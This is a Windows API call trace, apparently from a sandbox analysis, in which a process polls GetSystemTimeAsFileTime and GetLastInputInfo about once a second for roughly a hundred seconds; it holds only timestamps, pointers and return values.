	[0727.872] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0728.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x16867ad0, dwHighDateTime=0x1d3d6d0)) 
	[0728.885] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0729.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x17213430, dwHighDateTime=0x1d3d6d0)) 
	[0729.899] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0730.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x17bbed90, dwHighDateTime=0x1d3d6d0)) 
	[0730.916] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0731.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1856a6f0, dwHighDateTime=0x1d3d6d0)) 
	[0731.928] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0732.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x18f16050, dwHighDateTime=0x1d3d6d0)) 
	[0732.942] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0733.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x198c19b0, dwHighDateTime=0x1d3d6d0)) 
	[0733.955] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0734.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1a26d310, dwHighDateTime=0x1d3d6d0)) 
	[0734.978] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0735.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1ac18c70, dwHighDateTime=0x1d3d6d0)) 
	[0735.983] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0737.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1b5ea730, dwHighDateTime=0x1d3d6d0)) 
	[0737.016] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0738.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1bf96090, dwHighDateTime=0x1d3d6d0)) 
	[0738.027] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0739.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1c9419f0, dwHighDateTime=0x1d3d6d0)) 
	[0739.042] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0740.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1d2ed350, dwHighDateTime=0x1d3d6d0)) 
	[0740.056] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0741.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1dc98cb0, dwHighDateTime=0x1d3d6d0)) 
	[0741.072] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0742.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1e644610, dwHighDateTime=0x1d3d6d0)) 
	[0742.086] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0743.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1efeff70, dwHighDateTime=0x1d3d6d0)) 
	[0743.099] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0744.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x1f99b8d0, dwHighDateTime=0x1d3d6d0)) 
	[0744.111] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0745.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x20347230, dwHighDateTime=0x1d3d6d0)) 
	[0745.124] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0746.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x20cf2b90, dwHighDateTime=0x1d3d6d0)) 
	[0746.142] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0747.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2169e4f0, dwHighDateTime=0x1d3d6d0)) 
	[0747.155] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0748.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x22049e50, dwHighDateTime=0x1d3d6d0)) 
	[0748.169] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0749.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x229f57b0, dwHighDateTime=0x1d3d6d0)) 
	[0749.181] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0750.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x233a1110, dwHighDateTime=0x1d3d6d0)) 
	[0750.195] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0751.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x23d4ca70, dwHighDateTime=0x1d3d6d0)) 
	[0751.211] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0752.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x246f83d0, dwHighDateTime=0x1d3d6d0)) 
	[0752.232] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0753.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x250a3d30, dwHighDateTime=0x1d3d6d0)) 
	[0753.241] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0754.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x25a4f690, dwHighDateTime=0x1d3d6d0)) 
	[0754.254] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0755.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x263faff0, dwHighDateTime=0x1d3d6d0)) 
	[0755.265] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0756.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x26da6950, dwHighDateTime=0x1d3d6d0)) 
	[0756.283] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0757.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x277522b0, dwHighDateTime=0x1d3d6d0)) 
	[0757.296] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0758.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x280fdc10, dwHighDateTime=0x1d3d6d0)) 
	[0758.307] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0759.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x28aa9570, dwHighDateTime=0x1d3d6d0)) 
	[0759.320] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0760.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x29454ed0, dwHighDateTime=0x1d3d6d0)) 
	[0760.337] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0761.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x29e00830, dwHighDateTime=0x1d3d6d0)) 
	[0761.351] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0762.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2a7ac190, dwHighDateTime=0x1d3d6d0)) 
	[0762.362] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0763.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2b157af0, dwHighDateTime=0x1d3d6d0)) 
	[0763.377] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0764.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2bb03450, dwHighDateTime=0x1d3d6d0)) 
	[0764.392] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0765.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2c4aedb0, dwHighDateTime=0x1d3d6d0)) 
	[0765.405] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0766.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2ce5a710, dwHighDateTime=0x1d3d6d0)) 
	[0766.419] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0767.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2d806070, dwHighDateTime=0x1d3d6d0)) 
	[0767.435] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0768.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2e1b19d0, dwHighDateTime=0x1d3d6d0)) 
	[0768.447] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0769.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2eb5d330, dwHighDateTime=0x1d3d6d0)) 
	[0769.462] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0770.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2f508c90, dwHighDateTime=0x1d3d6d0)) 
	[0770.475] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0771.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x2feb45f0, dwHighDateTime=0x1d3d6d0)) 
	[0771.489] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0772.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3085ff50, dwHighDateTime=0x1d3d6d0)) 
	[0772.503] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0773.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3120b8b0, dwHighDateTime=0x1d3d6d0)) 
	[0773.517] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0774.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x31bb7210, dwHighDateTime=0x1d3d6d0)) 
	[0774.525] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0775.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x32562b70, dwHighDateTime=0x1d3d6d0)) 
	[0775.545] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0776.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x32f0e4d0, dwHighDateTime=0x1d3d6d0)) 
	[0776.559] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0777.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x338b9e30, dwHighDateTime=0x1d3d6d0)) 
	[0777.573] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0778.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x34265790, dwHighDateTime=0x1d3d6d0)) 
	[0778.588] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0779.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x34c110f0, dwHighDateTime=0x1d3d6d0)) 
	[0779.601] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0780.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x355bca50, dwHighDateTime=0x1d3d6d0)) 
	[0780.615] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0781.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x35f683b0, dwHighDateTime=0x1d3d6d0)) 
	[0781.629] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0782.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x36913d10, dwHighDateTime=0x1d3d6d0)) 
	[0782.643] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0783.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x372bf670, dwHighDateTime=0x1d3d6d0)) 
	[0783.657] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0784.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x37c6afd0, dwHighDateTime=0x1d3d6d0)) 
	[0784.671] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0785.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x38616930, dwHighDateTime=0x1d3d6d0)) 
	[0785.686] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0786.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x38fc2290, dwHighDateTime=0x1d3d6d0)) 
	[0786.699] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0787.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3996dbf0, dwHighDateTime=0x1d3d6d0)) 
	[0787.714] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0788.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3a319550, dwHighDateTime=0x1d3d6d0)) 
	[0788.730] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0789.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3acc4eb0, dwHighDateTime=0x1d3d6d0)) 
	[0789.741] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0790.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3b670810, dwHighDateTime=0x1d3d6d0)) 
	[0790.755] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0791.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3c01c170, dwHighDateTime=0x1d3d6d0)) 
	[0791.769] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0792.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3c9c7ad0, dwHighDateTime=0x1d3d6d0)) 
	[0792.784] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0793.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3d373430, dwHighDateTime=0x1d3d6d0)) 
	[0793.798] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0794.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3dd1ed90, dwHighDateTime=0x1d3d6d0)) 
	[0794.810] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0795.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3e6f0850, dwHighDateTime=0x1d3d6d0)) 
	[0795.835] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0796.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3f09c1b0, dwHighDateTime=0x1d3d6d0)) 
	[0796.855] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0797.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x3fa47b10, dwHighDateTime=0x1d3d6d0)) 
	[0797.869] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0798.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x403f3470, dwHighDateTime=0x1d3d6d0)) 
	[0798.882] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0799.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x40d9edd0, dwHighDateTime=0x1d3d6d0)) 
	[0799.901] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0801.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4174a730, dwHighDateTime=0x1d3d6d0)) 
	[0801.021] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0802.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x420f6090, dwHighDateTime=0x1d3d6d0)) 
	[0802.035] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0803.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x42aa19f0, dwHighDateTime=0x1d3d6d0)) 
	[0803.048] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0804.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4344d350, dwHighDateTime=0x1d3d6d0)) 
	[0804.065] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0805.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x43e1ee10, dwHighDateTime=0x1d3d6d0)) 
	[0805.086] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0806.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x447ca770, dwHighDateTime=0x1d3d6d0)) 
	[0806.110] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0807.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x451760d0, dwHighDateTime=0x1d3d6d0)) 
	[0807.123] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0808.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x45b21a30, dwHighDateTime=0x1d3d6d0)) 
	[0808.138] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0809.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x464cd390, dwHighDateTime=0x1d3d6d0)) 
	[0809.151] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0810.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x46e9ee50, dwHighDateTime=0x1d3d6d0)) 
	[0810.171] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0811.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4784a7b0, dwHighDateTime=0x1d3d6d0)) 
	[0811.185] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0812.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x481f6110, dwHighDateTime=0x1d3d6d0)) 
	[0812.199] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0813.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x48ba1a70, dwHighDateTime=0x1d3d6d0)) 
	[0813.213] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0814.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4954d3d0, dwHighDateTime=0x1d3d6d0)) 
	[0814.228] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0815.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x49ef8d30, dwHighDateTime=0x1d3d6d0)) 
	[0815.241] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0816.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4a8a4690, dwHighDateTime=0x1d3d6d0)) 
	[0816.255] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0817.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4b24fff0, dwHighDateTime=0x1d3d6d0)) 
	[0817.269] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0818.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4bbfb950, dwHighDateTime=0x1d3d6d0)) 
	[0818.283] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0819.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4c5a72b0, dwHighDateTime=0x1d3d6d0)) 
	[0819.297] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0820.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4cf52c10, dwHighDateTime=0x1d3d6d0)) 
	[0820.311] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0821.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4d8fe570, dwHighDateTime=0x1d3d6d0)) 
	[0821.325] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0822.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4e2a9ed0, dwHighDateTime=0x1d3d6d0)) 
	[0822.340] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0823.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4ec55830, dwHighDateTime=0x1d3d6d0)) 
	[0823.353] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0824.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4f601190, dwHighDateTime=0x1d3d6d0)) 
	[0824.367] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0825.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x4ffacaf0, dwHighDateTime=0x1d3d6d0)) 
